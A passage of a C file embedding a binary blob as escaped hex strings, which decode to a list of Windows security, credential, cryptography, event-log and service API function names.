//sA.CredReadDomai /* 004CA0 */ "\x6E\x43\x72\x65\x64\x65\x6E\x74\x69\x61\x6C\x73\x57\x00\x43\x72" //nCredentialsW.Cr /* 004CC0 */ "\x65\x64\x52\x65\x61\x64\x57\x00\x43\x72\x65\x64\x52\x65\x6E\x61" //edReadW.CredRena /* 004CE0 */ "\x6D\x65\x41\x00\x43\x72\x65\x64\x52\x65\x6E\x61\x6D\x65\x57\x00" //meA.CredRenameW. /* 004D00 */ "\x43\x72\x65\x64\x55\x6E\x6D\x61\x72\x73\x68\x61\x6C\x43\x72\x65" //CredUnmarshalCre /* 004D20 */ "\x64\x65\x6E\x74\x69\x61\x6C\x41\x00\x43\x72\x65\x64\x55\x6E\x6D" //dentialA.CredUnm /* 004D40 */ "\x61\x72\x73\x68\x61\x6C\x43\x72\x65\x64\x65\x6E\x74\x69\x61\x6C" //arshalCredential /* 004D60 */ "\x57\x00\x43\x72\x65\x64\x57\x72\x69\x74\x65\x41\x00\x43\x72\x65" //W.CredWriteA.Cre /* 004D80 */ "\x64\x57\x72\x69\x74\x65\x44\x6F\x6D\x61\x69\x6E\x43\x72\x65\x64" //dWriteDomainCred /* 004DA0 */ "\x65\x6E\x74\x69\x61\x6C\x73\x41\x00\x43\x72\x65\x64\x57\x72\x69" //entialsA.CredWri /* 004DC0 */ "\x74\x65\x44\x6F\x6D\x61\x69\x6E\x43\x72\x65\x64\x65\x6E\x74\x69" //teDomainCredenti /* 004DE0 */ "\x61\x6C\x73\x57\x00\x43\x72\x65\x64\x57\x72\x69\x74\x65\x57\x00" //alsW.CredWriteW. /* 004E00 */ "\x43\x72\x65\x64\x70\x43\x6F\x6E\x76\x65\x72\x74\x43\x72\x65\x64" //CredpConvertCred /* 004E20 */ "\x65\x6E\x74\x69\x61\x6C\x00\x43\x72\x65\x64\x70\x43\x6F\x6E\x76" //ential.CredpConv /* 004E40 */ "\x65\x72\x74\x54\x61\x72\x67\x65\x74\x49\x6E\x66\x6F\x00\x43\x72" //ertTargetInfo.Cr /* 004E60 */ "\x65\x64\x70\x44\x65\x63\x6F\x64\x65\x43\x72\x65\x64\x65\x6E\x74" //edpDecodeCredent /* 004E80 */ "\x69\x61\x6C\x00\x43\x72\x65\x64\x70\x45\x6E\x63\x6F\x64\x65\x43" //ial.CredpEncodeC /* 004EA0 */ "\x72\x65\x64\x65\x6E\x74\x69\x61\x6C\x00\x43\x72\x79\x70\x74\x41" //redential.CryptA /* 004EC0 */ "\x63\x71\x75\x69\x72\x65\x43\x6F\x6E\x74\x65\x78\x74\x41\x00\x43" //cquireContextA.C /* 004EE0 */ "\x72\x79\x70\x74\x41\x63\x71\x75\x69\x72\x65\x43\x6F\x6E\x74\x65" //ryptAcquireConte /* 004F00 */ "\x78\x74\x57\x00\x43\x72\x79\x70\x74\x43\x6F\x6E\x74\x65\x78\x74" //xtW.CryptContext /* 004F20 */ "\x41\x64\x64\x52\x65\x66\x00\x43\x72\x79\x70\x74\x43\x72\x65\x61" //AddRef.CryptCrea /* 004F40 */ "\x74\x65\x48\x61\x73\x68\x00\x43\x72\x79\x70\x74\x44\x65\x63\x72" //teHash.CryptDecr /* 004F60 */ "\x79\x70\x74\x00\x43\x72\x79\x70\x74\x44\x65\x72\x69\x76\x65\x4B" //ypt.CryptDeriveK /* 004F80 */ "\x65\x79\x00\x43\x72\x79\x70\x74\x44\x65\x73\x74\x72\x6F\x79\x48" //ey.CryptDestroyH /* 004FA0 */ "\x61\x73\x68\x00\x43\x72\x79\x70\x74\x44\x65\x73\x74\x72\x6F\x79" //ash.CryptDestroy /* 004FC0 */ "\x4B\x65\x79\x00\x43\x72\x79\x70\x74\x44\x75\x70\x6C\x69\x63\x61" //Key.CryptDuplica /* 004FE0 */ "\x74\x65\x48\x61\x73\x68\x00\x43\x72\x79\x70\x74\x44\x75\x70\x6C" //teHash.CryptDupl /* 005000 */ "\x69\x63\x61\x74\x65\x4B\x65\x79\x00\x43\x72\x79\x70\x74\x45\x6E" //icateKey.CryptEn /* 005020 */ "\x63\x72\x79\x70\x74\x00\x43\x72\x79\x70\x74\x45\x6E\x75\x6D\x50" //crypt.CryptEnumP /* 005040 */ "\x72\x6F\x76\x69\x64\x65\x72\x54\x79\x70\x65\x73\x41\x00\x43\x72" //roviderTypesA.Cr /* 005060 */ "\x79\x70\x74\x45\x6E\x75\x6D\x50\x72\x6F\x76\x69\x64\x65\x72\x54" //yptEnumProviderT /* 005080 */ "\x79\x70\x65\x73\x57\x00\x43\x72\x79\x70\x74\x45\x6E\x75\x6D\x50" //ypesW.CryptEnumP /* 0050A0 */ "\x72\x6F\x76\x69\x64\x65\x72\x73\x41\x00\x43\x72\x79\x70\x74\x45" //rovidersA.CryptE /* 0050C0 */ "\x6E\x75\x6D\x50\x72\x6F\x76\x69\x64\x65\x72\x73\x57\x00\x43\x72" //numProvidersW.Cr /* 0050E0 */ "\x79\x70\x74\x45\x78\x70\x6F\x72\x74\x4B\x65\x79\x00\x43\x72\x79" //yptExportKey.Cry /* 005100 */ "\x70\x74\x47\x65\x6E\x4B\x65\x79\x00\x43\x72\x79\x70\x74\x47\x65" //ptGenKey.CryptGe /* 005120 */ "\x6E\x52\x61\x6E\x64\x6F\x6D\x00\x43\x72\x79\x70\x74\x47\x65\x74" //nRandom.CryptGet /* 005140 */ "\x44\x65\x66\x61\x75\x6C\x74\x50\x72\x6F\x76\x69\x64\x65\x72\x41" //DefaultProviderA /* 005160 */ "\x00\x43\x72\x79\x70\x74\x47\x65\x74\x44\x65\x66\x61\x75\x6C\x74" //.CryptGetDefault /* 005180 */ "\x50\x72\x6F\x76\x69\x64\x65\x72\x57\x00\x43\x72\x79\x70\x74\x47" //ProviderW.CryptG /* 0051A0 */ "\x65\x74\x48\x61\x73\x68\x50\x61\x72\x61\x6D\x00\x43\x72\x79\x70" //etHashParam.Cryp /* 0051C0 */ "\x74\x47\x65\x74\x4B\x65\x79\x50\x61\x72\x61\x6D\x00\x43\x72\x79" //tGetKeyParam.Cry /* 0051E0 */ "\x70\x74\x47\x65\x74\x50\x72\x6F\x76\x50\x61\x72\x61\x6D\x00\x43" //ptGetProvParam.C /* 005200 */ "\x72\x79\x70\x74\x47\x65\x74\x55\x73\x65\x72\x4B\x65\x79\x00\x43" //ryptGetUserKey.C /* 005220 */ "\x72\x79\x70\x74\x48\x61\x73\x68\x44\x61\x74\x61\x00\x43\x72\x79" //ryptHashData.Cry /* 005240 */ "\x70\x74\x48\x61\x73\x68\x53\x65\x73\x73\x69\x6F\x6E\x4B\x65\x79" //ptHashSessionKey /* 005260 */ "\x00\x43\x72\x79\x70\x74\x49\x6D\x70\x6F\x72\x74\x4B\x65\x79\x00" //.CryptImportKey. /* 005280 */ "\x43\x72\x79\x70\x74\x52\x65\x6C\x65\x61\x73\x65\x43\x6F\x6E\x74" //CryptReleaseCont /* 0052A0 */ "\x65\x78\x74\x00\x43\x72\x79\x70\x74\x53\x65\x74\x48\x61\x73\x68" //ext.CryptSetHash /* 0052C0 */ "\x50\x61\x72\x61\x6D\x00\x43\x72\x79\x70\x74\x53\x65\x74\x4B\x65" //Param.CryptSetKe /* 0052E0 */ "\x79\x50\x61\x72\x61\x6D\x00\x43\x72\x79\x70\x74\x53\x65\x74\x50" //yParam.CryptSetP /* 005300 */ "\x72\x6F\x76\x50\x61\x72\x61\x6D\x00\x43\x72\x79\x70\x74\x53\x65" //rovParam.CryptSe /* 005320 */ "\x74\x50\x72\x6F\x76\x69\x64\x65\x72\x41\x00\x43\x72\x79\x70\x74" //tProviderA.Crypt /* 005340 */ "\x53\x65\x74\x50\x72\x6F\x76\x69\x64\x65\x72\x45\x78\x41\x00\x43" //SetProviderExA.C /* 005360 */ "\x72\x79\x70\x74\x53\x65\x74\x50\x72\x6F\x76\x69\x64\x65\x72\x45" //ryptSetProviderE /* 005380 */ "\x78\x57\x00\x43\x72\x79\x70\x74\x53\x65\x74\x50\x72\x6F\x76\x69" //xW.CryptSetProvi /* 0053A0 */ "\x64\x65\x72\x57\x00\x43\x72\x79\x70\x74\x53\x69\x67\x6E\x48\x61" //derW.CryptSignHa /* 0053C0 */ "\x73\x68\x41\x00\x43\x72\x79\x70\x74\x53\x69\x67\x6E\x48\x61\x73" //shA.CryptSignHas /* 0053E0 */ "\x68\x57\x00\x43\x72\x79\x70\x74\x56\x65\x72\x69\x66\x79\x53\x69" //hW.CryptVerifySi /* 005400 */ "\x67\x6E\x61\x74\x75\x72\x65\x41\x00\x43\x72\x79\x70\x74\x56\x65" //gnatureA.CryptVe /* 005420 */ "\x72\x69\x66\x79\x53\x69\x67\x6E\x61\x74\x75\x72\x65\x57\x00\x44" //rifySignatureW.D /* 005440 */ "\x65\x63\x72\x79\x70\x74\x46\x69\x6C\x65\x41\x00\x44\x65\x63\x72" //ecryptFileA.Decr /* 005460 */ "\x79\x70\x74\x46\x69\x6C\x65\x57\x00\x44\x65\x6C\x65\x74\x65\x41" //yptFileW.DeleteA /* 005480 */ "\x63\x65\x00\x44\x65\x6C\x65\x74\x65\x53\x65\x72\x76\x69\x63\x65" //ce.DeleteService /* 0054A0 */ "\x00\x44\x65\x72\x65\x67\x69\x73\x74\x65\x72\x45\x76\x65\x6E\x74" //.DeregisterEvent /* 0054C0 */ "\x53\x6F\x75\x72\x63\x65\x00\x44\x65\x73\x74\x72\x6F\x79\x50\x72" //Source.DestroyPr /* 0054E0 */ "\x69\x76\x61\x74\x65\x4F\x62\x6A\x65\x63\x74\x53\x65\x63\x75\x72" //ivateObjectSecur /* 005500 */ "\x69\x74\x79\x00\x44\x75\x70\x6C\x69\x63\x61\x74\x65\x45\x6E\x63" //ity.DuplicateEnc /* 005520 */ "\x72\x79\x70\x74\x69\x6F\x6E\x49\x6E\x66\x6F\x46\x69\x6C\x65\x00" //ryptionInfoFile. /* 005540 */ "\x44\x75\x70\x6C\x69\x63\x61\x74\x65\x54\x6F\x6B\x65\x6E\x00\x44" //DuplicateToken.D /* 005560 */ "\x75\x70\x6C\x69\x63\x61\x74\x65\x54\x6F\x6B\x65\x6E\x45\x78\x00" //uplicateTokenEx. /* 005580 */ "\x45\x6C\x66\x42\x61\x63\x6B\x75\x70\x45\x76\x65\x6E\x74\x4C\x6F" //ElfBackupEventLo /* 0055A0 */ "\x67\x46\x69\x6C\x65\x41\x00\x45\x6C\x66\x42\x61\x63\x6B\x75\x70" //gFileA.ElfBackup /* 0055C0 */ "\x45\x76\x65\x6E\x74\x4C\x6F\x67\x46\x69\x6C\x65\x57\x00\x45\x6C" //EventLogFileW.El /* 0055E0 */ "\x66\x43\x68\x61\x6E\x67\x65\x4E\x6F\x74\x69\x66\x79\x00\x45\x6C" //fChangeNotify.El /* 005600 */ "\x66\x43\x6C\x65\x61\x72\x45\x76\x65\x6E\x74\x4C\x6F\x67\x46\x69" //fClearEventLogFi /* 005620 */ "\x6C\x65\x41\x00\x45\x6C\x66\x43\x6C\x65\x61\x72\x45\x76\x65\x6E" //leA.ElfClearEven /* 005640 */ "\x74\x4C\x6F\x67\x46\x69\x6C\x65\x57\x00\x45\x6C\x66\x43\x6C\x6F" //tLogFileW.ElfClo /* 005660 */ "\x73\x65\x45\x76\x65\x6E\x74\x4C\x6F\x67\x00\x45\x6C\x66\x44\x65" //seEventLog.ElfDe /* 005680 */ "\x72\x65\x67\x69\x73\x74\x65\x72\x45\x76\x65\x6E\x74\x53\x6F\x75" //registerEventSou /* 0056A0 */ "\x72\x63\x65\x00\x45\x6C\x66\x46\x6C\x75\x73\x68\x45\x76\x65\x6E" //rce.ElfFlushEven /* 0056C0 */ "\x74\x4C\x6F\x67\x00\x45\x6C\x66\x4E\x75\x6D\x62\x65\x72\x4F\x66" //tLog.ElfNumberOf /* 0056E0 */ "\x52\x65\x63\x6F\x72\x64\x73\x00\x45\x6C\x66\x4F\x6C\x64\x65\x73" //Records.ElfOldes /* 005700 */ "\x74\x52\x65\x63\x6F\x72\x64\x00\x45\x6C\x66\x4F\x70\x65\x6E\x42" //tRecord.ElfOpenB /* 005720 */ "\x61\x63\x6B\x75\x70\x45\x76\x65\x6E\x74\x4C\x6F\x67\x41\x00\x45" //ackupEventLogA.E /* 005740 */ "\x6C\x66\x4F\x70\x65\x6E\x42\x61\x63\x6B\x75\x70\x45\x76\x65\x6E" //lfOpenBackupEven /* 005760 */ "\x74\x4C\x6F\x67\x57\x00\x45\x6C\x66\x4F\x70\x65\x6E\x45\x76\x65" //tLogW.ElfOpenEve /* 005780 */ "\x6E\x74\x4C\x6F\x67\x41\x00\x45\x6C\x66\x4F\x70\x65\x6E\x45\x76" //ntLogA.ElfOpenEv /* 0057A0 */ "\x65\x6E\x74\x4C\x6F\x67\x57\x00\x45\x6C\x66\x52\x65\x61\x64\x45" //entLogW.ElfReadE /* 0057C0 */ "\x76\x65\x6E\x74\x4C\x6F\x67\x41\x00\x45\x6C\x66\x52\x65\x61\x64" //ventLogA.ElfRead /* 0057E0 */ "\x45\x76\x65\x6E\x74\x4C\x6F\x67\x57\x00\x45\x6C\x66\x52\x65\x67" //EventLogW.ElfReg /* 005800 */ "\x69\x73\x74\x65\x72\x45\x76\x65\x6E\x74\x53\x6F\x75\x72\x63\x65" //isterEventSource /* 005820 */ "\x41\x00\x45\x6C\x66\x52\x65\x67\x69\x73\x74\x65\x72\x45\x76\x65" //A.ElfRegisterEve /* 005840 */ "\x6E\x74\x53\x6F\x75\x72\x63\x65\x57\x00\x45\x6C\x66\x52\x65\x70" //ntSourceW.ElfRep /* 005860 */ "\x6F\x72\x74\x45\x76\x65\x6E\x74\x41\x00\x45\x6C\x66\x52\x65\x70" //ortEventA.ElfRep /* 005880 */ "\x6F\x72\x74\x45\x76\x65\x6E\x74\x57\x00\x45\x6E\x61\x62\x6C\x65" //ortEventW.Enable /* 0058A0 */ "\x54\x72\x61\x63\x65\x00\x45\x6E\x63\x72\x79\x70\x74\x46\x69\x6C" //Trace.EncryptFil /* 0058C0 */ "\x65\x41\x00\x45\x6E\x63\x72\x79\x70\x74\x46\x69\x6C\x65\x57\x00" //eA.EncryptFileW. /* 0058E0 */ "\x45\x6E\x63\x72\x79\x70\x74\x65\x64\x46\x69\x6C\x65\x4B\x65\x79" //EncryptedFileKey /* 005900 */ "\x49\x6E\x66\x6F\x00\x45\x6E\x63\x72\x79\x70\x74\x69\x6F\x6E\x44" //Info.EncryptionD /* 005920 */ "\x69\x73\x61\x62\x6C\x65\x00\x45\x6E\x75\x6D\x44\x65\x70\x65\x6E" //isable.EnumDepen /* 005940 */ "\x64\x65\x6E\x74\x53\x65\x72\x76\x69\x63\x65\x73\x41\x00\x45\x6E" //dentServicesA.En /* 005960 */ "\x75\x6D\x44\x65\x70\x65\x6E\x64\x65\x6E\x74\x53\x65\x72\x76\x69" //umDependentServi /* 005980 */ "\x63\x65\x73\x57\x00\x45\x6E\x75\x6D\x53\x65\x72\x76\x69\x63\x65" //cesW.EnumService /* 0059A0 */ "\x47\x72\x6F\x75\x70\x57\x00\x45\x6E\x75\x6D\x53\x65\x72\x76\x69" //GroupW.EnumServi /* 0059C0 */ "\x63\x65\x73\x53\x74\x61\x74\x75\x73\x41\x00\x45\x6E\x75\x6D\x53" //cesStatusA.EnumS /* 0059E0 */ "\x65\x72\x76\x69\x63\x65\x73\x53\x74\x61\x74\x75\x73\x45\x78\x41" //ervicesStatusExA /* 005A00 */ "\x00\x45\x6E\x75\x6D\x53\x65\x72\x76\x69\x63\x65\x73\x53\x74\x61" //.EnumServicesSta /* 005A20 */ "\x74\x75\x73\x45\x78\x57\x00\x45\x6E\x75\x6D\x53\x65\x72\x76\x69" //tusExW.EnumServi /* 005A40 */ "\x63\x65\x73\x53\x74\x61\x74\x75\x73\x57\x00\x45\x6E\x75\x6D\x65" //cesStatusW.Enume /* 005A60 */ "\x72\x61\x74\x65\x54\x72\x61\x63\x65\x47\x75\x69\x64\x73\x00\x45" //rateTraceGuids.E /* 005A80 */ "\x71\x75\x61\x6C\x44\x6F\x6D\x61\x69\x6E\x53\x69\x64\x00\x45\x71" //qualDomainSid.Eq /* 005AA0 */ "\x75\x61\x6C\x50\x72\x65\x66\x69\x78\x53\x69\x64\x00\x45\x71\x75" //ualPrefixSid.Equ /* 005AC0 */ "\x61\x6C\x53\x69\x64\x00\x46\x69\x6C\x65\x45\x6E\x63\x72\x79\x70" //alSid.FileEncryp /* 005AE0 */ "\x74\x69\x6F\x6E\x53\x74\x61\x74\x75\x73\x41\x00\x46\x69\x6C\x65" //tionStatusA.File /* 005B00 */ "\x45\x6E\x63\x72\x79\x70\x74\x69\x6F\x6E\x53\x74\x61\x74\x75\x73" //EncryptionStatus /* 005B20 */ "\x57\x00\x46\x69\x6E\x64\x46\x69\x72\x73\x74\x46\x72\x65\x65\x41" //W.FindFirstFreeA /* 005B40 */ "\x63\x65\x00\x46\x6C\x75\x73\x68\x54\x72\x61\x63\x65\x41\x00\x46" //ce.FlushTraceA.F /* 005B60 */ "\x6C\x75\x73\x68\x54\x72\x61\x63\x65\x57\x00\x46\x72\x65\x65\x45" //lushTraceW.FreeE /* 005B80 */ "\x6E\x63\x72\x79\x70\x74\x65\x64\x46\x69\x6C\x65\x4B\x65\x79\x49" //ncryptedFileKeyI /* 005BA0 */ "\x6E\x66\x6F\x00\x46\x72\x65\x65\x45\x6E\x63\x72\x79\x70\x74\x69" //nfo.FreeEncrypti /* 005BC0 */ "\x6F\x6E\x43\x65\x72\x74\x69\x66\x69\x63\x61\x74\x65\x48\x61\x73" //onCertificateHas /* 005BE0 */ "\x68\x4C\x69\x73\x74\x00\x46\x72\x65\x65\x49\x6E\x68\x65\x72\x69" //hList.FreeInheri /* 005C00 */ "\x74\x65\x64\x46\x72\x6F\x6D\x41\x72\x72\x61\x79\x00\x46\x72\x65" //tedFromArray.Fre /* 005C20 */ "\x65\x53\x69\x64\x00\x47\x65\x74\x41\x63\x63\x65\x73\x73\x50\x65" //eSid.GetAccessPe /* 005C40 */ "\x72\x6D\x69\x73\x73\x69\x6F\x6E\x73\x46\x6F\x72\x4F\x62\x6A\x65" //rmissionsForObje /* 005C60 */ "\x63\x74\x41\x00\x47\x65\x74\x41\x63\x63\x65\x73\x73\x50\x65\x72" //ctA.GetAccessPer /* 005C80 */ "\x6D\x69\x73\x73\x69\x6F\x6E\x73\x46\x6F\x72\x4F\x62\x6A\x65\x63" //missionsForObjec /* 005CA0 */ "\x74\x57\x00\x47\x65\x74\x41\x63\x65\x00\x47\x65\x74\x41\x63\x6C" //tW.GetAce.GetAcl /* 005CC0 */ "\x49\x6E\x66\x6F\x72\x6D\x61\x74\x69\x6F\x6E\x00\x47\x65\x74\x41" //Information.GetA /* 005CE0 */ "\x75\x64\x69\x74\x65\x64\x50\x65\x72\x6D\x69\x73\x73\x69\x6F\x6E" //uditedPermission /* 005D00 */ "\x73\x46\x72\x6F\x6D\x41\x63\x6C\x41\x00\x47\x65\x74\x41\x75\x64" //sFromAclA.GetAud /* 005D20 */ "\x69\x74\x65\x64\x50\x65\x72\x6D\x69\x73\x73\x69\x6F\x6E\x73\x46" //itedPermissionsF /* 005D40 */ "\x72\x6F\x6D\x41\x63\x6C\x57\x00\x47\x65\x74\x43\x75\x72\x72\x65" //romAclW.GetCurre /* 005D60 */ "\x6E\x74\x48\x77\x50\x72\x6F\x66\x69\x6C\x65\x41\x00\x47\x65\x74" //ntHwProfileA.Get /* 005D80 */ "\x43\x75\x72\x72\x65\x6E\x74\x48\x77\x50\x72\x6F\x66\x69\x6C\x65" //CurrentHwProfile /* 005DA0 */ "\x57\x00\x47\x65\x74\x45\x66\x66\x65\x63\x74\x69\x76\x65\x52\x69" //W.GetEffectiveRi /* 005DC0 */ "\x67\x68\x74\x73\x46\x72\x6F\x6D\x41\x63\x6C\x41\x00\x47\x65\x74" //ghtsFromAclA.Get /* 005DE0 */ "\x45\x66\x66\x65\x63\x74\x69\x76\x65\x52\x69\x67\x68\x74\x73\x46" //EffectiveRightsF /* 005E00 */ "\x72\x6F\x6D\x41\x63\x6C\x57\x00\x47\x65\x74\x45\x76\x65\x6E\x74" //romAclW.GetEvent /* 005E20 */ "\x4C\x6F\x67\x49\x6E\x66\x6F\x72\x6D\x61\x74\x69\x6F\x6E\x00\x47" //LogInformation.G /* 005E40 */ "\x65\x74\x45\x78\x70\x6C\x69\x63\x69\x74\x45\x6E\x74\x72\x69\x65" //etExplicitEntrie /* 005E60 */ "\x73\x46\x72\x6F\x6D\x41\x63\x6C\x41\x00\x47\x65\x74\x45\x78\x70" //sFromAclA.GetExp /* 005E80 */ "\x6C\x69\x63\x69\x74\x45\x6E\x74\x72\x69\x65\x73\x46\x72\x6F\x6D" //licitEntriesFrom /* 005EA0 */ "\x41\x63\x6C\x57\x00\x47\x65\x74\x46\x69\x6C\x65\x53\x65\x63\x75" //AclW.GetFileSecu /* 005EC0 */ "\x72\x69\x74\x79\x41\x00\x47\x65\x74\x46\x69\x6C\x65\x53\x65\x63" //rityA.GetFileSec /* 005EE0 */ "\x75\x72\x69\x74\x79\x57\x00\x47\x65\x74\x49\x6E\x66\x6F\x72\x6D" //urityW.GetInform /* 005F00 */ "\x61\x74\x69\x6F\x6E\x43\x6F\x64\x65\x41\x75\x74\x68\x7A\x4C\x65" //ationCodeAuthzLe /* 005F20 */ "\x76\x65\x6C\x57\x00\x47\x65\x74\x49\x6E\x66\x6F\x72\x6D\x61\x74" //velW.GetInformat /* 005F40 */ "\x69\x6F\x6E\x43\x6F\x64\x65\x41\x75\x74\x68\x7A\x50\x6F\x6C\x69" //ionCodeAuthzPoli /* 005F60 */ "\x63\x79\x57\x00\x47\x65\x74\x49\x6E\x68\x65\x72\x69\x74\x61\x6E" //cyW.GetInheritan /* 005F80 */ "\x63\x65\x53\x6F\x75\x72\x63\x65\x41\x00\x47\x65\x74\x49\x6E\x68" //ceSourceA.GetInh /* 005FA0 */ "\x65\x72\x69\x74\x61\x6E\x63\x65\x53\x6F\x75\x72\x63\x65\x57\x00" //eritanceSourceW. /* 005FC0 */ "\x47\x65\x74\x4B\x65\x72\x6E\x65\x6C\x4F\x62\x6A\x65\x63\x74\x53" //GetKernelObjectS /* 005FE0 */ "\x65\x63\x75\x72\x69\x74\x79\x00\x47\x65\x74\x4C\x65\x6E\x67\x74" //ecurity.GetLengt /* 006000 */ "\x68\x53\x69\x64\x00\x47\x65\x74\x4C\x6F\x63\x61\x6C\x4D\x61\x6E" //hSid.GetLocalMan /* 006020 */ "\x61\x67\x65\x64\x41\x70\x70\x6C\x69\x63\x61\x74\x69\x6F\x6E\x44" //agedApplicationD /* 006040 */ "\x61\x74\x61\x00\x47\x65\x74\x4C\x6F\x63\x61\x6C\x4D\x61\x6E\x61" //ata.GetLocalMana /* 006060 */ "\x67\x65\x64\x41\x70\x70\x6C\x69\x63\x61\x74\x69\x6F\x6E\x73\x00" //gedApplications. /* 006080 */ "\x47\x65\x74\x4D\x61\x6E\x61\x67\x65\x64\x41\x70\x70\x6C\x69\x63" //GetManagedApplic /* 0060A0 */ "\x61\x74\x69\x6F\x6E\x43\x61\x74\x65\x67\x6F\x72\x69\x65\x73\x00" //ationCategories. /* 0060C0 */ "\x47\x65\x74\x4D\x61\x6E\x61\x67\x65\x64\x41\x70\x70\x6C\x69\x63" //GetManagedApplic /* 0060E0 */ "\x61\x74\x69\x6F\x6E\x73\x00\x47\x65\x74\x4D\x75\x6C\x74\x69\x70" //ations.GetMultip /* 006100 */ "\x6C\x65\x54\x72\x75\x73\x74\x65\x65\x41\x00\x47\x65\x74\x4D\x75" //leTrusteeA.GetMu /* 006120 */ "\x6C\x74\x69\x70\x6C\x65\x54\x72\x75\x73\x74\x65\x65\x4F\x70\x65" //ltipleTrusteeOpe /* 006140 */ "\x72\x61\x74\x69\x6F\x6E\x41\x00\x47\x65\x74\x4D\x75\x6C\x74\x69" //rationA.GetMulti /* 006160 */ "\x70\x6C\x65\x54\x72\x75\x73\x74\x65\x65\x4F\x70\x65\x72\x61\x74" //pleTrusteeOperat /* 006180 */ "\x69\x6F\x6E\x57\x00\x47\x65\x74\x4D\x75\x6C\x74\x69\x70\x6C\x65" //ionW.GetMultiple /* 0061A0 */ "\x54\x72\x75\x73\x74\x65\x65\x57\x00\x47\x65\x74\x4E\x61\x6D\x65" //TrusteeW.GetName /* 0061C0 */ "\x64\x53\x65\x63\x75\x72\x69\x74\x79\x49\x6E\x66\x6F\x41\x00\x47" //dSecurityInfoA.G /* 0061E0 */ "\x65\x74\x4E\x61\x6D\x65\x64\x53\x65\x63\x75\x72\x69\x74\x79\x49" //etNamedSecurityI /* 006200 */ "\x6E\x66\x6F\x45\x78\x41\x00\x47\x65\x74\x4E\x61\x6D\x65\x64\x53" //nfoExA.GetNamedS /* 006220 */ "\x65\x63\x75\x72\x69\x74\x79\x49\x6E\x66\x6F\x45\x78\x57\x00\x47" //ecurityInfoExW.G /* 006240 */ "\x65\x74\x4E\x61\x6D\x65\x64\x53\x65\x63\x75\x72\x69\x74\x79\x49" //etNamedSecurityI /* 006260 */ "\x6E\x66\x6F\x57\x00\x47\x65\x74\x4E\x75\x6D\x62\x65\x72\x4F\x66" //nfoW.GetNumberOf /* 006280 */ "\x45\x76\x65\x6E\x74\x4C\x6F\x67\x52\x65\x63\x6F\x72\x64\x73\x00" //EventLogRecords. /* 0062A0 */ "\x47\x65\x74\x4F\x6C\x64\x65\x73\x74\x45\x76\x65\x6E\x74\x4C\x6F" //GetOldestEventLo /* 0062C0 */ "\x67\x52\x65\x63\x6F\x72\x64\x00\x47\x65\x74\x4F\x76\x65\x72\x6C" //gRecord.GetOverl /* 0062E0 */ "\x61\x70\x70\x65\x64\x41\x63\x63\x65\x73\x73\x52\x65\x73\x75\x6C" //appedAccessResul /* 006300 */ "\x74\x73\x00\x47\x65\x74\x50\x72\x69\x76\x61\x74\x65\x4F\x62\x6A" //ts.GetPrivateObj /* 006320 */ "\x65\x63\x74\x53\x65\x63\x75\x72\x69\x74\x79\x00\x47\x65\x74\x53" //ectSecurity.GetS /* 006340 */ "\x65\x63\x75\x72\x69\x74\x79\x44\x65\x73\x63\x72\x69\x70\x74\x6F" //ecurityDescripto /* 006360 */ "\x72\x43\x6F\x6E\x74\x72\x6F\x6C\x00\x47\x65\x74\x53\x65\x63\x75" //rControl.GetSecu /* 006380 */ "\x72\x69\x74\x79\x44\x65\x73\x63\x72\x69\x70\x74\x6F\x72\x44\x61" //rityDescriptorDa /* 0063A0 */ "\x63\x6C\x00\x47\x65\x74\x53\x65\x63\x75\x72\x69\x74\x79\x44\x65" //cl.GetSecurityDe /* 0063C0 */ "\x73\x63\x72\x69\x70\x74\x6F\x72\x47\x72\x6F\x75\x70\x00\x47\x65" //scriptorGroup.Ge /* 0063E0 */ "\x74\x53\x65\x63\x75\x72\x69\x74\x79\x44\x65\x73\x63\x72\x69\x70" //tSecurityDescrip /* 006400 */ "\x74\x6F\x72\x4C\x65\x6E\x67\x74\x68\x00\x47\x65\x74\x53\x65\x63" //torLength.GetSec /* 006420 */ "\x75\x72\x69\x74\x79\x44\x65\x73\x63\x72\x69\x70\x74\x6F\x72\x4F" //urityDescriptorO /* 006440 */ "\x77\x6E\x65\x72\x00\x47\x65\x74\x53\x65\x63\x75\x72\x69\x74\x79" //wner.GetSecurity /* 006460 */ "\x44\x65\x73\x63\x72\x69\x70\x74\x6F\x72\x52\x4D\x43\x6F\x6E\x74" //DescriptorRMCont /* 006480 */ "\x72\x6F\x6C\x00\x47\x65\x74\x53\x65\x63\x75\x72\x69\x74\x79\x44" //rol.GetSecurityD /* 0064A0 */ "\x65\x73\x63\x72\x69\x70\x74\x6F\x72\x53\x61\x63\x6C\x00\x47\x65" //escriptorSacl.Ge /* 0064C0 */ "\x74\x53\x65\x63\x75\x72\x69\x74\x79\x49\x6E\x66\x6F\x00\x47\x65" //tSecurityInfo.Ge /* 0064E0 */ "\x74\x53\x65\x63\x75\x72\x69\x74\x79\x49\x6E\x66\x6F\x45\x78\x41" //tSecurityInfoExA /* 006500 */ "\x00\x47\x65\x74\x53\x65\x63\x75\x72\x69\x74\x79\x49\x6E\x66\x6F" //.GetSecurityInfo /* 006520 */ "\x45\x78\x57\x00\x47\x65\x74\x53\x65\x72\x76\x69\x63\x65\x44\x69" //ExW.GetServiceDi /* 006540 */ "\x73\x70\x6C\x61\x79\x4E\x61\x6D\x65\x41\x00\x47\x65\x74\x53\x65" //splayNameA.GetSe /* 006560 */ "\x72\x76\x69\x63\x65\x44\x69\x73\x70\x6C\x61\x79\x4E\x61\x6D\x65" //rviceDisplayName /* 006580 */ "\x57\x00\x47\x65\x74\x53\x65\x72\x76\x69\x63\x65\x4B\x65\x79\x4E" //W.GetServiceKeyN /* 0065A0 */ "\x61\x6D\x65\x41\x00\x47\x65\x74\x53\x65\x72\x76\x69\x63\x65\x4B" //ameA.GetServiceK /* 0065C0 */ "\x65\x79\x4E\x61\x6D\x65\x57\x00\x47\x65\x74\x53\x69\x64\x49\x64" //eyNameW.GetSidId /* 0065E0 */ "\x65\x6E\x74\x69\x66\x69\x65\x72\x41\x75\x74\x68\x6F\x72\x69\x74" //entifierAuthorit /* 006600 */ "\x79\x00\x47\x65\x74\x53\x69\x64\x4C\x65\x6E\x67\x74\x68\x52\x65" //y.GetSidLengthRe /* 006620 */ "\x71\x75\x69\x72\x65\x64\x00\x47\x65\x74\x53\x69\x64\x53\x75\x62" //quired.GetSidSub /* 006640 */ "\x41\x75\x74\x68\x6F\x72\x69\x74\x79\x00\x47\x65\x74\x53\x69\x64" //Authority.GetSid /* 006660 */ "\x53\x75\x62\x41\x75\x74\x68\x6F\x72\x69\x74\x79\x43\x6F\x75\x6E" //SubAuthorityCoun /* 006680 */ 